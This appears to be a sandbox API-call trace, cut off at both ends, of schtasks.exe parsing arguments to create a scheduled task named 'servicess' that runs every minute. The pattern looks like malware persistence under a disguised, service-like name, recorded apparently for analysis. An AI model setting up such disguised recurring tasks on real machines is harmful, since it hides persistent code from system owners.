_BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x21f268 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0148.327] GetProcessHeap () returned 0x370000 [0148.327] GetProcessHeap () returned 0x370000 [0148.327] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c1e0) returned 1 [0148.327] GetProcessHeap () returned 0x370000 [0148.327] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c1e0) returned 0x74e [0148.328] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c1e0 | out: hHeap=0x370000) returned 1 [0148.328] SetLastError (dwErrCode=0x0) [0148.328] GetThreadLocale () returned 0x409 [0148.328] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.328] lstrlenW (lpString="?") returned 1 [0148.328] GetThreadLocale () returned 0x409 [0148.328] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.328] lstrlenW (lpString="create") returned 6 [0148.328] GetThreadLocale () returned 0x409 [0148.328] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.328] lstrlenW (lpString="delete") returned 6 [0148.328] GetThreadLocale () returned 0x409 [0148.328] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.328] lstrlenW (lpString="query") returned 5 [0148.328] GetThreadLocale () returned 0x409 [0148.328] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.328] lstrlenW (lpString="change") returned 6 [0148.328] GetThreadLocale () returned 0x409 [0148.328] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.328] lstrlenW (lpString="run") returned 3 [0148.328] GetThreadLocale () returned 0x409 [0148.329] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.329] lstrlenW (lpString="end") returned 3 [0148.329] GetThreadLocale () returned 0x409 [0148.329] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.329] lstrlenW (lpString="showsid") returned 7 [0148.329] GetThreadLocale () returned 0x409 [0148.329] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0148.329] SetLastError (dwErrCode=0x0) [0148.329] SetLastError (dwErrCode=0x0) [0148.329] lstrlenW (lpString="/create") returned 7 [0148.329] lstrlenW (lpString="-/") returned 2 [0148.329] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0148.329] lstrlenW (lpString="?") returned 1 [0148.329] lstrlenW (lpString="?") returned 1 [0148.329] GetProcessHeap () returned 0x370000 [0148.329] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38c1e0 [0148.329] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.329] GetProcessHeap () returned 0x370000 [0148.329] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xa) returned 0x38c200 [0148.329] lstrlenW (lpString="create") returned 6 [0148.329] GetProcessHeap () returned 0x370000 [0148.329] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38c220 [0148.329] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.329] GetProcessHeap () returned 0x370000 [0148.329] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x14) returned 0x38c240 [0148.329] _vsnwprintf (in: _Buffer=0x38c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|?|") returned 3 [0148.329] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|create|") returned 8 [0148.329] lstrlenW (lpString="|?|") returned 3 [0148.329] lstrlenW (lpString="|create|") returned 8 [0148.329] SetLastError (dwErrCode=0x490) [0148.329] lstrlenW (lpString="create") returned 6 [0148.329] lstrlenW (lpString="create") returned 6 [0148.329] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.330] GetProcessHeap () returned 0x370000 [0148.330] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c200) returned 1 [0148.330] GetProcessHeap () returned 0x370000 [0148.330] RtlReAllocateHeap (Heap=0x370000, Flags=0xc, Ptr=0x38c200, Size=0x14) returned 0x38c260 [0148.330] lstrlenW (lpString="create") returned 6 [0148.330] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.330] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|create|") returned 8 [0148.330] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|create|") returned 8 [0148.330] lstrlenW (lpString="|create|") returned 8 [0148.330] lstrlenW (lpString="|create|") returned 8 [0148.330] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0148.330] SetLastError (dwErrCode=0x0) [0148.330] SetLastError (dwErrCode=0x0) [0148.330] SetLastError (dwErrCode=0x0) [0148.330] lstrlenW (lpString="/tn") returned 3 [0148.330] lstrlenW (lpString="-/") returned 2 [0148.330] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0148.330] lstrlenW (lpString="?") returned 1 [0148.330] lstrlenW (lpString="?") returned 1 [0148.330] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.330] lstrlenW (lpString="tn") returned 2 [0148.330] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.330] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|?|") returned 3 [0148.330] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|tn|") returned 4 [0148.330] lstrlenW (lpString="|?|") returned 3 [0148.330] lstrlenW (lpString="|tn|") returned 4 [0148.330] SetLastError (dwErrCode=0x490) [0148.330] lstrlenW (lpString="create") returned 6 [0148.330] lstrlenW (lpString="create") returned 6 [0148.330] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.330] lstrlenW (lpString="tn") returned 2 [0148.330] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.331] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|create|") returned 8 [0148.331] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|tn|") returned 4 [0148.331] lstrlenW (lpString="|create|") returned 8 [0148.331] lstrlenW (lpString="|tn|") returned 4 [0148.331] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0148.331] SetLastError (dwErrCode=0x490) [0148.331] lstrlenW (lpString="delete") returned 6 [0148.331] lstrlenW (lpString="delete") returned 6 [0148.331] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.331] lstrlenW (lpString="tn") returned 2 [0148.331] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.331] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|delete|") returned 8 [0148.331] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|tn|") returned 4 [0148.331] lstrlenW (lpString="|delete|") returned 8 [0148.331] lstrlenW (lpString="|tn|") returned 4 [0148.331] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0148.331] SetLastError (dwErrCode=0x490) [0148.331] lstrlenW (lpString="query") returned 5 [0148.331] lstrlenW (lpString="query") returned 5 [0148.331] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.331] lstrlenW (lpString="tn") returned 2 [0148.331] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.331] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|query|") returned 7 [0148.331] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|tn|") returned 4 [0148.331] lstrlenW (lpString="|query|") returned 7 [0148.331] lstrlenW (lpString="|tn|") returned 4 [0148.331] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0148.331] SetLastError (dwErrCode=0x490) [0148.331] lstrlenW (lpString="change") returned 6 [0148.331] lstrlenW (lpString="change") returned 6 [0148.331] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.332] lstrlenW (lpString="tn") returned 2 [0148.332] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.332] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|change|") returned 8 [0148.332] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|tn|") returned 4 [0148.332] lstrlenW (lpString="|change|") returned 8 [0148.332] lstrlenW (lpString="|tn|") returned 4 [0148.332] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0148.332] SetLastError (dwErrCode=0x490) [0148.332] lstrlenW (lpString="run") returned 3 [0148.332] lstrlenW (lpString="run") returned 3 [0148.332] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.332] lstrlenW (lpString="tn") returned 2 [0148.332] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.332] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|run|") returned 5 [0148.332] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|tn|") returned 4 [0148.332] lstrlenW (lpString="|run|") returned 5 [0148.332] lstrlenW (lpString="|tn|") returned 4 [0148.332] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0148.332] SetLastError (dwErrCode=0x490) [0148.332] lstrlenW (lpString="end") returned 3 [0148.332] lstrlenW (lpString="end") returned 3 [0148.332] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.332] lstrlenW (lpString="tn") returned 2 [0148.332] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.332] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|end|") returned 5 [0148.332] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|tn|") returned 4 [0148.332] lstrlenW (lpString="|end|") returned 5 [0148.332] lstrlenW (lpString="|tn|") returned 4 [0148.332] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0148.336] SetLastError (dwErrCode=0x490) [0148.336] lstrlenW (lpString="showsid") returned 7 [0148.336] lstrlenW (lpString="showsid") returned 7 [0148.336] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.336] GetProcessHeap () returned 0x370000 [0148.336] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c260) returned 1 [0148.336] GetProcessHeap () returned 0x370000 [0148.336] RtlReAllocateHeap (Heap=0x370000, Flags=0xc, Ptr=0x38c260, Size=0x16) returned 0x38c260 [0148.337] lstrlenW (lpString="tn") returned 2 [0148.337] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.337] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|showsid|") returned 9 [0148.337] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|tn|") returned 4 [0148.337] lstrlenW (lpString="|showsid|") returned 9 [0148.337] lstrlenW (lpString="|tn|") returned 4 [0148.337] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0148.337] SetLastError (dwErrCode=0x490) [0148.337] SetLastError (dwErrCode=0x490) [0148.337] SetLastError (dwErrCode=0x0) [0148.337] lstrlenW (lpString="/tn") returned 3 [0148.337] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0148.337] SetLastError (dwErrCode=0x490) [0148.337] SetLastError (dwErrCode=0x0) [0148.337] lstrlenW (lpString="/tn") returned 3 [0148.337] GetProcessHeap () returned 0x370000 [0148.337] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x8) returned 0x38c200 [0148.337] GetProcessHeap () returned 0x370000 [0148.337] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cc10 [0148.337] SetLastError (dwErrCode=0x0) [0148.337] SetLastError (dwErrCode=0x0) [0148.337] lstrlenW (lpString="servicess") returned 9 [0148.337] lstrlenW (lpString="-/") returned 2 [0148.337] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0148.337] SetLastError (dwErrCode=0x490) [0148.337] SetLastError (dwErrCode=0x490) [0148.337] SetLastError (dwErrCode=0x0) [0148.337] lstrlenW (lpString="servicess") returned 9 [0148.337] StrChrIW (lpStart="servicess", wMatch=0x3a) returned 0x0 [0148.338] SetLastError (dwErrCode=0x490) [0148.338] SetLastError (dwErrCode=0x0) [0148.338] lstrlenW (lpString="servicess") returned 9 [0148.338] GetProcessHeap () returned 0x370000 [0148.338] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x14) returned 0x38c290 [0148.338] GetProcessHeap () returned 0x370000 [0148.338] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cc40 [0148.338] SetLastError (dwErrCode=0x0) [0148.338] SetLastError (dwErrCode=0x0) [0148.338] lstrlenW (lpString="/sc") returned 3 [0148.338] lstrlenW (lpString="-/") returned 2 [0148.338] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0148.338] lstrlenW (lpString="?") returned 1 [0148.338] lstrlenW (lpString="?") returned 1 [0148.338] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.338] lstrlenW (lpString="sc") returned 2 [0148.338] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.338] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|?|") returned 3 [0148.338] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|sc|") returned 4 [0148.338] lstrlenW (lpString="|?|") returned 3 [0148.338] lstrlenW (lpString="|sc|") returned 4 [0148.338] SetLastError (dwErrCode=0x490) [0148.338] lstrlenW (lpString="create") returned 6 [0148.338] lstrlenW (lpString="create") returned 6 [0148.338] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.338] lstrlenW (lpString="sc") returned 2 [0148.338] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.338] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|create|") returned 8 [0148.338] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|sc|") returned 4 [0148.338] lstrlenW (lpString="|create|") returned 8 [0148.338] lstrlenW (lpString="|sc|") returned 4 [0148.338] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0148.338] SetLastError (dwErrCode=0x490) [0148.338] lstrlenW (lpString="delete") returned 6 [0148.338] lstrlenW (lpString="delete") returned 6 [0148.339] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.339] lstrlenW (lpString="sc") returned 2 [0148.339] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.339] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|delete|") returned 8 [0148.339] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|sc|") returned 4 [0148.339] lstrlenW (lpString="|delete|") returned 8 [0148.339] lstrlenW (lpString="|sc|") returned 4 [0148.339] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0148.339] SetLastError (dwErrCode=0x490) [0148.339] lstrlenW (lpString="query") returned 5 [0148.339] lstrlenW (lpString="query") returned 5 [0148.339] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.339] lstrlenW (lpString="sc") returned 2 [0148.339] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.339] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|query|") returned 7 [0148.339] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|sc|") returned 4 [0148.339] lstrlenW (lpString="|query|") returned 7 [0148.339] lstrlenW (lpString="|sc|") returned 4 [0148.339] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0148.339] SetLastError (dwErrCode=0x490) [0148.339] lstrlenW (lpString="change") returned 6 [0148.339] lstrlenW (lpString="change") returned 6 [0148.339] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.339] lstrlenW (lpString="sc") returned 2 [0148.339] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.339] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|change|") returned 8 [0148.339] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|sc|") returned 4 [0148.339] lstrlenW (lpString="|change|") returned 8 [0148.339] lstrlenW (lpString="|sc|") returned 4 [0148.339] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0148.339] SetLastError (dwErrCode=0x490) [0148.339] lstrlenW (lpString="run") returned 3 [0148.339] lstrlenW (lpString="run") returned 3 [0148.340] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.340] lstrlenW (lpString="sc") returned 2 [0148.340] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.340] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|run|") returned 5 [0148.340] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|sc|") returned 4 [0148.340] lstrlenW (lpString="|run|") returned 5 [0148.340] lstrlenW (lpString="|sc|") returned 4 [0148.340] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0148.340] SetLastError (dwErrCode=0x490) [0148.340] lstrlenW (lpString="end") returned 3 [0148.340] lstrlenW (lpString="end") returned 3 [0148.340] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.340] lstrlenW (lpString="sc") returned 2 [0148.340] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.340] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|end|") returned 5 [0148.340] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|sc|") returned 4 [0148.340] lstrlenW (lpString="|end|") returned 5 [0148.340] lstrlenW (lpString="|sc|") returned 4 [0148.340] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0148.340] SetLastError (dwErrCode=0x490) [0148.340] lstrlenW (lpString="showsid") returned 7 [0148.340] lstrlenW (lpString="showsid") returned 7 [0148.340] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.340] lstrlenW (lpString="sc") returned 2 [0148.340] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.340] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|showsid|") returned 9 [0148.340] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|sc|") returned 4 [0148.340] lstrlenW (lpString="|showsid|") returned 9 [0148.340] lstrlenW (lpString="|sc|") returned 4 [0148.340] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0148.340] SetLastError (dwErrCode=0x490) [0148.341] SetLastError (dwErrCode=0x490) [0148.341] SetLastError (dwErrCode=0x0) [0148.341] lstrlenW (lpString="/sc") returned 3 [0148.341] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0148.341] SetLastError (dwErrCode=0x490) [0148.341] SetLastError (dwErrCode=0x0) [0148.341] lstrlenW (lpString="/sc") returned 3 [0148.341] GetProcessHeap () returned 0x370000 [0148.341] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x8) returned 0x38c2b0 [0148.341] GetProcessHeap () returned 0x370000 [0148.341] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cc70 [0148.341] SetLastError (dwErrCode=0x0) [0148.341] SetLastError (dwErrCode=0x0) [0148.341] lstrlenW (lpString="MINUTE") returned 6 [0148.341] lstrlenW (lpString="-/") returned 2 [0148.341] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0148.341] SetLastError (dwErrCode=0x490) [0148.341] SetLastError (dwErrCode=0x490) [0148.341] SetLastError (dwErrCode=0x0) [0148.341] lstrlenW (lpString="MINUTE") returned 6 [0148.341] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0148.341] SetLastError (dwErrCode=0x490) [0148.341] SetLastError (dwErrCode=0x0) [0148.341] lstrlenW (lpString="MINUTE") returned 6 [0148.341] GetProcessHeap () returned 0x370000 [0148.341] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xe) returned 0x38c2d0 [0148.341] GetProcessHeap () returned 0x370000 [0148.341] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cca0 [0148.341] SetLastError (dwErrCode=0x0) [0148.341] SetLastError (dwErrCode=0x0) [0148.341] lstrlenW (lpString="/mo") returned 3 [0148.341] lstrlenW (lpString="-/") returned 2 [0148.341] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0148.341] lstrlenW (lpString="?") returned 1 [0148.341] lstrlenW (lpString="?") returned 1 [0148.341] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.341] lstrlenW (lpString="mo") returned 2 [0148.341] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.342] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|?|") returned 3 [0148.342] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|mo|") returned 4 [0148.342] lstrlenW (lpString="|?|") returned 3 [0148.342] lstrlenW (lpString="|mo|") returned 4 [0148.342] SetLastError (dwErrCode=0x490) [0148.342] lstrlenW (lpString="create") returned 6 [0148.342] lstrlenW (lpString="create") returned 6 [0148.342] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.342] lstrlenW (lpString="mo") returned 2 [0148.342] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.342] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|create|") returned 8 [0148.342] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|mo|") returned 4 [0148.342] lstrlenW (lpString="|create|") returned 8 [0148.342] lstrlenW (lpString="|mo|") returned 4 [0148.342] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0148.342] SetLastError (dwErrCode=0x490) [0148.342] lstrlenW (lpString="delete") returned 6 [0148.342] lstrlenW (lpString="delete") returned 6 [0148.342] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.342] lstrlenW (lpString="mo") returned 2 [0148.342] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.342] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|delete|") returned 8 [0148.342] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|mo|") returned 4 [0148.342] lstrlenW (lpString="|delete|") returned 8 [0148.342] lstrlenW (lpString="|mo|") returned 4 [0148.342] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0148.342] SetLastError (dwErrCode=0x490) [0148.342] lstrlenW (lpString="query") returned 5 [0148.342] lstrlenW (lpString="query") returned 5 [0148.342] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.342] lstrlenW (lpString="mo") returned 2 [0148.342] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.343] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|query|") returned 7 [0148.343] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|mo|") returned 4 [0148.343] lstrlenW (lpString="|query|") returned 7 [0148.343] lstrlenW (lpString="|mo|") returned 4 [0148.343] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0148.343] SetLastError (dwErrCode=0x490) [0148.343] lstrlenW (lpString="change") returned 6 [0148.343] lstrlenW (lpString="change") returned 6 [0148.343] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.343] lstrlenW (lpString="mo") returned 2 [0148.343] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.343] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|change|") returned 8 [0148.343] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|mo|") returned 4 [0148.343] lstrlenW (lpString="|change|") returned 8 [0148.343] lstrlenW (lpString="|mo|") returned 4 [0148.343] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0148.343] SetLastError (dwErrCode=0x490) [0148.343] lstrlenW (lpString="run") returned 3 [0148.343] lstrlenW (lpString="run") returned 3 [0148.343] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.343] lstrlenW (lpString="mo") returned 2 [0148.343] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.343] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|run|") returned 5 [0148.343] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f278 | out: _Buffer="|mo|") returned 4 [0148.343] lstrlenW (lpString="|run|") returned 5 [0148.343] lstrlenW (lpString="|mo|") returned 4 [0148.343] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0148.343] SetLastError 